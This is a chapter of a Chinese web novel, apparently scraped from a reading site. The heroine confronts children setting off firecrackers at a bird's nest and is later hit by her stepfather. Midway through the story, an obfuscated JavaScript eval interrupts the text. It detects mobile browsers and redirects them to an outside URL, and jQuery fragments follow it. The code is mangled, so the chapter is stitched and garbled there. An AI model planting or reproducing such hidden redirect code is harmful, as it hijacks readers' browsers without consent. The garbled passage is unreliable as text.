28. 028

作品:《摩天轮上你许什么愿

    一群熊孩子。


    闻毓青猛冲过来这一下,虽是救急,但气势汹汹的。


    丢完炮仗,面不改色地站在原地等鞭炮炸完,此刻神色严肃,染上几分薄怒,和八九岁小豆芽的身板比起来,身高体型也占了优势,看起来的确能唬唬这些小屁孩。


    他们杵在原地,呆呆地看着半路杀出个的程咬金。


    兜里摸到一包芒果干,她掏出来,递给方才劝阻未果而抹眼泪的小孩。


    “乖,别哭了。”


    她抿唇,放眼望去,见邓昕轩手里抓了个透明塑料袋子,鞭炮摔炮擦炮二踢脚小爆竹......还挺齐全。


    炮仗声歇止,她问:“谁出的馊主意?”


    一群小孩不说话,还有一两个嬉皮笑脸的。


    “小鸟待在树上好好的,你们炸鸟窝做什么,别人要是把你们家炸了,你们愿意吗?”


    “树底下都是枯叶,着火了怎么办?”


    “学校没发假期安全告知书?你们哪个班的,正好,我刚路上遇见赵校长,把名字记下来,回头告诉她去!”


    终于戳到大动脉,小孩们忙求饶:“不要哇!”


    闻毓青此刻异常理解学校的班主任和教导老师们,无奈地搜刮出学生时期觉得无聊的消防安全教育视频,强制勒令他们一个个看完。


    她特意找了几个特别吓人的、让人看着眉头直揪的事故现场视频,炸出火灾的,烧伤全身的,弄瞎眼睛的......那些用作警示的例子,惨烈的后果直白地铺在他们眼前,小孩捂着眼,她叹口气,希望能有点震慑作用吧。


    “捡几个树枝,”她说:“去检查一下树下有没有飘烟的爆竹。”


    几个人要动不动的,你看看我,我看看你。


    “检查完带你们去蜜雪喝奶茶。”


    “耶!”邓昕轩一听,蹦起来叫了声。


    然后像条欢脱的狗子,直奔树下,刚刚捺不下面子的犟种孩子王,见状,也跟着跑过去,然后就一窝的都上了。


    每逢放学,临近县城中小学的蜜雪的店里,挤满了背着炸药包的小学生,加上店里开始卖零食,毫不夸张地说,店里都快成了小学生的天堂了。


    闻毓青心里哼哼,软硬兼施,还能治不了他们不成!


    双手揣兜看了一会儿,她也装模作样地上前,和他们一起检查。按理说,那点小炮仗应该是没什么大问题的,但她毕竟要“以身作则”。


    她提醒着,“别用手碰哦!小心炸到手指头!”


    猫着腰在树下绕了几圈,小孩们陆陆续续地回到闻毓青身边,一声声“检查完了”此起彼伏,他们簇拥着她,无声提醒她兑诺。


    她感到好笑地扬起唇角,拿手机下单,让他们挨个过来点单,点完领着他们去店里拿吃的。


    回去路上,手里提着“作案工具”,她没什么好脸色。


    睨着身旁没心没肺喝奶茶的邓昕轩,更是看不顺眼,刚回家就出来惹祸。


    她说:“这些东西先没收,除夕那天再给你玩。”


    “凭什么!”邓昕轩伸手想夺去。


    闻毓青一把收回,“除非你认错,下次不跟着胡闹了。”


    “又不是我炸的。”


    “你以为自己能置身事外?你给他们炮仗了,你是同伙。真要着火了,警察叔叔抓你们一伙的,别连累妈妈给你擦屁股!”


    柔性劝导,柔性劝导,但闻毓青对邓昕轩没什么耐心,没办法温声细语和他讲道理,只能忍住不凶他。


    一板一眼的,没什么用的说教,换来的是邓昕轩略略略朝她吐舌头。


    “你觉得好玩吗?”


    他想当然道:“当然好玩。”


    “你知道那样会炸掉鸟窝,也有可能炸死幼鸟吗?忘记小白没了的时候,你哭得多惨了?”


    小白是之前家里养的一条丑丑的小狗,邓昕轩和它很亲。


    前年不知道哪里摔断了腿,被邓硕卖给了狗肉摊,邓昕轩没找到小狗,哭得撕心裂肺,每天到处找。阿欢姐只能骗他说,小白被车撞了,去了汪星。他至今都不知道真相。


    他不说话,不肯认错。


    路上三番两次试图抢回炮仗未果后,便像个炮仗一样,气冲冲疾跑回家。


    推杯换盏的声音传到耳畔的瞬间,闻毓青心里咯噔,猛地想起兜里的启瓶器。


    她推门进去。


    三个男人正拿着酒瓶往桌边一磕,啤酒盖哐当掉地,尽兴碰瓶。


    把启瓶器放到桌上,邓硕咽了口酒,喊住她。


    猝不及防间,一掌抡到了脑袋。


    一记尖锐的痛感蔓延开来,闻毓青当即懵在原地,蒙圈,傻眼,不可置信。


    眼泪疼得不受控制地飚出来。


    沙发边响起窃笑,邓昕轩吃着薯片看过来,幸灾乐祸地望着她。


    邓硕恶狠道:“干什么吃的?买个开瓶盖的磨磨唧唧,黄花菜都凉了。看见人不会打招呼?你妈怎么教你的?”


    吃了一辈子软饭的男人,此刻阳刚无比,威风尽显,手里还握着金属启瓶器,是闻毓青脑壳痛楚泛滥的来源。


    她深吸一口气,忍住眼泪,含糊地和对面的两个人说:“叔叔好。”


    路过沙发边,嚼巴着薯片的男孩直勾勾目送着她,回到房间,她抽了几张纸巾抹泪擦鼻涕。


    发呆了几分钟,她整理好心情,推开门,探头道:“邓昕轩,你过来。”


    邓昕轩抱着薯片可乐过来,大咧咧地预备坐在她床边。


    屁股上还沾着不知何地碰到的墙灰。


    闻毓青及时喝止,“不许坐!”


    他吐舌头扮鬼脸,一屁股坐下去,把手里的东西丢在床头柜,躺在床上模仿仰泳的姿势。


    闻毓青咬牙,真想一脚把他踹下去。


    她把邓昕轩拽起来,他故意施力,用整个身子的重力对抗,但闻毓青力气大,稍一用狠劲就一把将他提走。


    拍了拍床单的灰,她抱臂站着,他让去椅子上坐。


    而后正色问:“他在家会打妈妈吗?”


    闻毓青即便看不惯邓硕,也不得不承认,他鲜少动粗。


    从小到大骂人居多,小时候是指着地上的小白,恶劣地取笑她唇部的缺陷,叫她“丑东西”、说她“比这条狗还难看”,看她被数落得眼泪汪汪时,便得意又开怀地大笑。


    到现在闻毓青都不明白,他究竟是从她身上找乐子,一种无能之人欺凌更弱小之人的快感,刚好她是那个靶子?还是他心底真的,对她本人有着纯粹的厌恶和恨意?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300202|198050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可她什么也没做,那时的她,和现在的邓昕轩差不多大。


    起初闻毓青会感到委屈难过,但忍气吞声不跟妈妈说,省得她添堵,到最后,她已经对那些难听的话都脱敏了,或者假装不在意。他说什么都左耳朵进右耳多出。


    学会漠视之后,他的说辞又变成了“白眼狼”、“吃我家住我家的看病的钱还是老子家出的”、“不懂感恩”、“不如养条狗”之类的话。


    对闻毓青来说,早已跟念经一样了。


    刚才动手的情形,她却是第一次遇到。但并不代表她不在家的时候,没发生过。


    邓昕轩晃着腿,摇头说:“没有。”


    楼下有小孩高喊他的名字,叫他下去玩。他的魂一下子就飞了,趴到窗户边,朝楼下说话,回复他的小伙伴,“马上下来!”


    闻毓青拉住他,“你确定没有?”


    “没有没有!”邓昕轩不耐烦,拍开她的手,“你烦死了!”


    说完,就一股脑儿地跑出去了。


    闻毓青坐回椅子,客厅喧闹,她的视线定格在半开的门缝里,久久皱着眉。


    肚子叫起来。


    她摸着空荡的胃,看向门外,不能,也不想去饭桌上吃饭。


    要不去楼下便利店随便吃点泡面吧。


    侧目一瞥,她看见床头柜上的薯片,眼神动了动,随手拿来充饥。脑袋还痛着,可乐从冰箱拿出来的,冰镇的,正好拿来敷那颗被敲出的肿块。


    门突然打开,邓昕轩又跑进来,嚷嚷着,“我的薯片!”见闻毓青边敷脑袋边咀嚼,他气鼓鼓地骂她,“小偷!偷吃我零食!”


    闻毓青不惯着他,把剩下最后一点都大口吃掉。


    很幼稚地怼他,“把我给你买的奶茶吐出来。”


    “yueyueyue!”邓昕轩张大嘴巴,朝地上呕吐,“吐出来了!你去捡啊!”


    在闻毓青撸起袖子,作势要揍他时,嬉闹着逃走了。


    妈妈忙里偷闲打电话过来,让她自己弄一下晚饭,把中午的菜热一热,然后叫弟弟去吃饭。邓昕轩早跑出去疯玩了,闻毓青现在没心情管他的死活,心想着,少吃一顿不会饿死,他零食饮料都吃饱了,不会亏待自己的。于是阳奉阴违地同妈妈说好的。


    因为要准备复试,她这个寒假没去妈妈店里帮忙。


    在家无所事事了几天,也该开始学习了,县城图书馆公众号发布的闭馆消息,除夕到大年初三闭馆,其余时间正常开放。


    她放下心来,好歹有地方去了。


    预估着时间到了,她背上复习资料,先去厨房把炖好的茶树菇老鸭汤装进保温桶,顺路给阿欢姐送去。


    阿欢姐趁着空档过来,囫囵咽下半桶汤,夸她做得好喝。没等她和闻毓青闲聊了几句家常,外头有人喊她去按摩了。


    妈妈应了声,拉拉女儿的手,“我先忙了哦。”


    “去吧,我去图书馆。”


    阿欢姐坐在按摩躺椅前,熟练地倒热水,泡脚粉,询问客人水温是否适宜,询问按摩力度如何......她始终挂着笑,精神饱满,好像一点都不累的样子。


    望着妈妈弯腰低头的忙碌身影,闻毓青心疼的同时,又觉得充满力量。


    自己也要打起精神来才行啊。